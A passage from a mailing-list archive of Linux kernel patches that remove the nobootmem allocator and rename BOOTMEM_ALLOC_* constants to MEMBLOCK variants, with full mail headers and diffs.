-void __init free_bootmem_late(unsigned long addr, unsigned long size)
-{
-	unsigned long cursor, end;
-
-	kmemleak_free_part_phys(addr, size);
-
-	cursor = PFN_UP(addr);
-	end = PFN_DOWN(addr + size);
-
-	for (; cursor < end; cursor++) {
-		__free_pages_bootmem(pfn_to_page(cursor), cursor, 0);
-		totalram_pages++;
-	}
-}
-
 static void __init __free_pages_memory(unsigned long start, unsigned long end)
 {
 	int order;
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 27/30] mm: remove nobootmem
Date: Fri, 14 Sep 2018 15:10:42 +0300
Lines: 282
Approved: news@gmane.org
Message-ID: <1536927045-23536-28-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927159 4206 195.159.176.226 (14 Sep 2018 12:12:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:12:39 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:12:31 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mxZ-0000se-JT
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:12:29 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=4AafY6LGEEcjcfUW86ia+vXmEHgbuFAm3gdsO2Skbyk=; b=Wzw3gLxcZYHcPHu0UUpX+YmH4X
	qNIj4ZXHI0yALcApI+HVpDqRsckvUCgD1b94LKJTW8N3msdaWncZliABbKOPk7fw2F52xPF/uozGb
	yFxQ0QTqa/sySZS9fXrFs5iBXiONiAJZFQFmzgQJKVvhSTv7DsWqU+RE3ZrHN1T39lki5+fi6HB8U
	OKSEpr1VCaJ//ukNutv4+IAK/etAkFyieEbbC7CwV2dQP8D19J1uEsycwQeUjx3INK1V6a14BfczL
	5n4qrJ2MjE6CQCryW5FpqfCfd80Y4xTy4f2ZCd757BVQ9CAkQ8Fj+VUfkRjfit6LcgMIdgnLdzD1H
	+/oLerNA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mzb-0005Gm-EK; Fri, 14 Sep 2018 12:14:35 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mz4-0004k2-Vh
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:14:08 +0000
Original-Received: from pps.filterd (m0098410.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5MQL053779
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:52 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgcndresb-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:52 -0400
Original-Received: from localhost
 by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:48 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:37 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com
 [9.149.105.60])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDaZ5131342
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:36 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 82A5242042;
 Fri, 14 Sep 2018 15:13:26 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 5691442041;
 Fri, 14 Sep 2018 15:13:21 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:13:21 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:30 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0008-0000-0000-000002715A93
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0009-0000-0000-000021D9A075
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051403_223213_975CD7AE 
X-CRM114-Status: GOOD (  26.14  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:800 gmane.linux.kernel.mm:203336 gmane.linux.ports.mips.general:66638 gmane.linux.ports.ia64:29233 gmane.linux.ports.sh.devel:57509 gmane.linux.ports.sparc:28421 gmane.linux.ports.hexagon:1850 gmane.linux.kernel.arc:4363 gmane.linux.ports.alpha:5239 gmane.linux.ports.arm.kernel:674208 gmane.linux.ports.parisc:28961 gmane.linux.kernel:2870781 gmane.linux.ports.ppc64.devel:162496
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/800>

Move a few remaining functions from nobootmem.c to memblock.c and remove
nobootmem

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 mm/Makefile    |   1 -
 mm/memblock.c  | 104 ++++++++++++++++++++++++++++++++++++++++++++++
 mm/nobootmem.c | 128 ---------------------------------------------------------
 3 files changed, 104 insertions(+), 129 deletions(-)
 delete mode 100644 mm/nobootmem.c

diff --git a/mm/Makefile b/mm/Makefile
index ca3c844..d210cc9 100644
--- a/mm/Makefile
+++ b/mm/Makefile
@@ -42,7 +42,6 @@ obj-y			:= filemap.o mempool.o oom_kill.o fadvise.o \
 			   debug.o $(mmu-y)
 
 obj-y += init-mm.o
-obj-y += nobootmem.o
 obj-y += memblock.o
 
 ifdef CONFIG_MMU
diff --git a/mm/memblock.c b/mm/memblock.c
index a2cd61d..4591f38 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -82,6 +82,16 @@
  * initialization compltes.
  */
 
+#ifndef CONFIG_NEED_MULTIPLE_NODES
+struct pglist_data __refdata contig_page_data;
+EXPORT_SYMBOL(contig_page_data);
+#endif
+
+unsigned long max_low_pfn;
+unsigned long min_low_pfn;
+unsigned long max_pfn;
+unsigned long long max_possible_pfn;
+
 static struct memblock_region memblock_memory_init_regions[INIT_MEMBLOCK_REGIONS] __initdata_memblock;
 static struct memblock_region memblock_reserved_init_regions[INIT_MEMBLOCK_REGIONS] __initdata_memblock;
 #ifdef CONFIG_HAVE_MEMBLOCK_PHYS_MAP
@@ -1929,6 +1939,100 @@ static int __init early_memblock(char *p)
 }
 early_param("memblock", early_memblock);
 
+static void __init __free_pages_memory(unsigned long start, unsigned long end)
+{
+	int order;
+
+	while (start < end) {
+		order = min(MAX_ORDER - 1UL, __ffs(start));
+
+		while (start + (1UL << order) > end)
+			order--;
+
+		memblock_free_pages(pfn_to_page(start), start, order);
+
+		start += (1UL << order);
+	}
+}
+
+static unsigned long __init __free_memory_core(phys_addr_t start,
+				 phys_addr_t end)
+{
+	unsigned long start_pfn = PFN_UP(start);
+	unsigned long end_pfn = min_t(unsigned long,
+				      PFN_DOWN(end), max_low_pfn);
+
+	if (start_pfn >= end_pfn)
+		return 0;
+
+	__free_pages_memory(start_pfn, end_pfn);
+
+	return end_pfn - start_pfn;
+}
+
+static unsigned long __init free_low_memory_core_early(void)
+{
+	unsigned long count = 0;
+	phys_addr_t start, end;
+	u64 i;
+
+	memblock_clear_hotplug(0, -1);
+
+	for_each_reserved_mem_region(i, &start, &end)
+		reserve_bootmem_region(start, end);
+
+	/*
+	 * We need to use NUMA_NO_NODE instead of NODE_DATA(0)->node_id
+	 *  because in some case like Node0 doesn't have RAM installed
+	 *  low ram will be on Node1
+	 */
+	for_each_free_mem_range(i, NUMA_NO_NODE, MEMBLOCK_NONE, &start, &end,
+				NULL)
+		count += __free_memory_core(start, end);
+
+	return count;
+}
+
+static int reset_managed_pages_done __initdata;
+
+void reset_node_managed_pages(pg_data_t *pgdat)
+{
+	struct zone *z;
+
+	for (z = pgdat->node_zones; z < pgdat->node_zones + MAX_NR_ZONES; z++)
+		z->managed_pages = 0;
+}
+
+void __init reset_all_zones_managed_pages(void)
+{
+	struct pglist_data *pgdat;
+
+	if (reset_managed_pages_done)
+		return;
+
+	for_each_online_pgdat(pgdat)
+		reset_node_managed_pages(pgdat);
+
+	reset_managed_pages_done = 1;
+}
+
+/**
+ * memblock_free_all - release free pages to the buddy allocator
+ *
+ * Return: the number of pages actually released.
+ */
+unsigned long __init memblock_free_all(void)
+{
+	unsigned long pages;
+
+	reset_all_zones_managed_pages();
+
+	pages = free_low_memory_core_early();
+	totalram_pages += pages;
+
+	return pages;
+}
+
 #if defined(CONFIG_DEBUG_FS) && !defined(CONFIG_ARCH_DISCARD_MEMBLOCK)
 
 static int memblock_debug_show(struct seq_file *m, void *private)
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
deleted file mode 100644
index 9608bc5..0000000
--- a/mm/nobootmem.c
+++ /dev/null
@@ -1,128 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-/*
- *  bootmem - A boot-time physical memory allocator and configurator
- *
- *  Copyright (C) 1999 Ingo Molnar
- *                1999 Kanoj Sarcar, SGI
- *                2008 Johannes Weiner
- *
- * Access to this subsystem has to be serialized externally (which is true
- * for the boot process anyway).
- */
-#include <linux/init.h>
-#include <linux/pfn.h>
-#include <linux/slab.h>
-#include <linux/export.h>
-#include <linux/kmemleak.h>
-#include <linux/range.h>
-#include <linux/memblock.h>
-#include <linux/bootmem.h>
-
-#include <asm/bug.h>
-#include <asm/io.h>
-
-#include "internal.h"
-
-#ifndef CONFIG_NEED_MULTIPLE_NODES
-struct pglist_data __refdata contig_page_data;
-EXPORT_SYMBOL(contig_page_data);
-#endif
-
-unsigned long max_low_pfn;
-unsigned long min_low_pfn;
-unsigned long max_pfn;
-unsigned long long max_possible_pfn;
-
-static void __init __free_pages_memory(unsigned long start, unsigned long end)
-{
-	int order;
-
-	while (start < end) {
-		order = min(MAX_ORDER - 1UL, __ffs(start));
-
-		while (start + (1UL << order) > end)
-			order--;
-
-		memblock_free_pages(pfn_to_page(start), start, order);
-
-		start += (1UL << order);
-	}
-}
-
-static unsigned long __init __free_memory_core(phys_addr_t start,
-				 phys_addr_t end)
-{
-	unsigned long start_pfn = PFN_UP(start);
-	unsigned long end_pfn = min_t(unsigned long,
-				      PFN_DOWN(end), max_low_pfn);
-
-	if (start_pfn >= end_pfn)
-		return 0;
-
-	__free_pages_memory(start_pfn, end_pfn);
-
-	return end_pfn - start_pfn;
-}
-
-static unsigned long __init free_low_memory_core_early(void)
-{
-	unsigned long count = 0;
-	phys_addr_t start, end;
-	u64 i;
-
-	memblock_clear_hotplug(0, -1);
-
-	for_each_reserved_mem_region(i, &start, &end)
-		reserve_bootmem_region(start, end);
-
-	/*
-	 * We need to use NUMA_NO_NODE instead of NODE_DATA(0)->node_id
-	 *  because in some case like Node0 doesn't have RAM installed
-	 *  low ram will be on Node1
-	 */
-	for_each_free_mem_range(i, NUMA_NO_NODE, MEMBLOCK_NONE, &start, &end,
-				NULL)
-		count += __free_memory_core(start, end);
-
-	return count;
-}
-
-static int reset_managed_pages_done __initdata;
-
-void reset_node_managed_pages(pg_data_t *pgdat)
-{
-	struct zone *z;
-
-	for (z = pgdat->node_zones; z < pgdat->node_zones + MAX_NR_ZONES; z++)
-		z->managed_pages = 0;
-}
-
-void __init reset_all_zones_managed_pages(void)
-{
-	struct pglist_data *pgdat;
-
-	if (reset_managed_pages_done)
-		return;
-
-	for_each_online_pgdat(pgdat)
-		reset_node_managed_pages(pgdat);
-
-	reset_managed_pages_done = 1;
-}
-
-/**
- * memblock_free_all - release free pages to the buddy allocator
- *
- * Return: the number of pages actually released.
- */
-unsigned long __init memblock_free_all(void)
-{
-	unsigned long pages;
-
-	reset_all_zones_managed_pages();
-
-	pages = free_low_memory_core_early();
-	totalram_pages += pages;
-
-	return pages;
-}
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 28/30] memblock: replace BOOTMEM_ALLOC_* with MEMBLOCK variants
Date: Fri, 14 Sep 2018 15:10:43 +0300
Lines: 228
Approved: news@gmane.org
Message-ID: <1536927045-23536-29-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927161 4384 195.159.176.226 (14 Sep 2018 12:12:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:12:41 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:12:33 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0mxc-0000vw-ES
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:12:32 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=UcYLlaoaEitkGBYKfBg559uqdzgM4mJhUeYE53dq0D0=; b=oq6SmljtdwPdxB3zk9tp2xXuzw
	/ozSQbOjPE5ebMCZ6wVH+Agm/HQYJidRanKzdKk5PjlNur+VP4bya2iseNO1VjZ0EFlqwsn3B1On7
	2I3itHAl+rIVPXoBU2oiLaiC7nPPEqfdC2v/+61ELP3brIongB4IkCGZzGfEegzY14h8fjRFFlljB
	SMakH2gAJ79nZETCBq2FwXgzafOAVmveq/ISUXn1ScnOqFbb8w5XL6S4g9au7/IkTYJx2hmQXinNd
	rO4jg9keLk95XLpwiGR6VOdn7ZmUyj0KAV3zHqNncAu5y2CMOT9h3QUGgmGYx1FCxBQv+tx9Licxg
	ESEIm+Wg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mzf-0005IW-F2; Fri, 14 Sep 2018 12:14:39 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mz4-0004mc-Vk
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:14:13 +0000
Original-Received: from pps.filterd (m0098409.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5K9G129548
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:13:59 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgb6um4gf-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:13:58 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:55 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (9.149.109.197)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:43 +0100
Original-Received: from d06av25.portsmouth.uk.ibm.com (d06av25.portsmouth.uk.ibm.com
 [9.149.105.61])
 by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDgkJ65994942
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:42 GMT
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 242F211C05B;
 Fri, 14 Sep 2018 15:13:30 +0100 (BST)
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id DE5E411C058;
 Fri, 14 Sep 2018 15:13:24 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av25.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:13:24 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:36 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-4275-0000-0000-000002BA5A0D
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-4276-0000-0000-000037C39787
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051403_206743_9F70181E 
X-CRM114-Status: GOOD (  25.93  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4364 gmane.linux.kernel.mm:203337 gmane.linux.ports.mips.general:66639 gmane.linux.ports.ia64:29234 gmane.linux.ports.sh.devel:57510 gmane.linux.ports.sparc:28422 gmane.linux.ports.hexagon:1851 gmane.linux.ports.riscv:801 gmane.linux.ports.alpha:5240 gmane.linux.ports.arm.kernel:674209 gmane.linux.ports.parisc:28962 gmane.linux.kernel:2870782 gmane.linux.ports.ppc64.devel:162497
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4364>

Drop BOOTMEM_ALLOC_ACCESSIBLE and BOOTMEM_ALLOC_ANYWHERE in favor of
identical MEMBLOCK definitions.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/ia64/mm/discontig.c       | 2 +-
 arch/powerpc/kernel/setup_64.c | 2 +-
 arch/sparc/kernel/smp_64.c     | 2 +-
 arch/x86/kernel/setup_percpu.c | 2 +-
 arch/x86/mm/kasan_init_64.c    | 4 ++--
 mm/hugetlb.c                   | 3 ++-
 mm/kasan/kasan_init.c          | 2 +-
 mm/memblock.c                  | 8 ++++----
 mm/page_ext.c                  | 2 +-
 mm/sparse-vmemmap.c            | 3 ++-
 mm/sparse.c                    | 5 +++--
 11 files changed, 19 insertions(+), 16 deletions(-)

diff --git a/arch/ia64/mm/discontig.c b/arch/ia64/mm/discontig.c
index 918dda9..70609f8 100644
--- a/arch/ia64/mm/discontig.c
+++ b/arch/ia64/mm/discontig.c
@@ -453,7 +453,7 @@ static void __init *memory_less_node_alloc(int nid, unsigned long pernodesize)
 
 	ptr = memblock_alloc_try_nid(pernodesize, PERCPU_PAGE_SIZE,
 				     __pa(MAX_DMA_ADDRESS),
-				     BOOTMEM_ALLOC_ACCESSIBLE,
+				     MEMBLOCK_ALLOC_ACCESSIBLE,
 				     bestnode);
 
 	return ptr;
diff --git a/arch/powerpc/kernel/setup_64.c b/arch/powerpc/kernel/setup_64.c
index e564b27..b3e70cc 100644
--- a/arch/powerpc/kernel/setup_64.c
+++ b/arch/powerpc/kernel/setup_64.c
@@ -758,7 +758,7 @@ void __init emergency_stack_init(void)
 static void * __init pcpu_fc_alloc(unsigned int cpu, size_t size, size_t align)
 {
 	return memblock_alloc_try_nid(size, align, __pa(MAX_DMA_ADDRESS),
-				      BOOTMEM_ALLOC_ACCESSIBLE,
+				      MEMBLOCK_ALLOC_ACCESSIBLE,
 				      early_cpu_to_node(cpu));
 
 }
diff --git a/arch/sparc/kernel/smp_64.c b/arch/sparc/kernel/smp_64.c
index a087a6a..6cc80d0 100644
--- a/arch/sparc/kernel/smp_64.c
+++ b/arch/sparc/kernel/smp_64.c
@@ -1595,7 +1595,7 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, size_t size,
 			 cpu, size, __pa(ptr));
 	} else {
 		ptr = memblock_alloc_try_nid(size, align, goal,
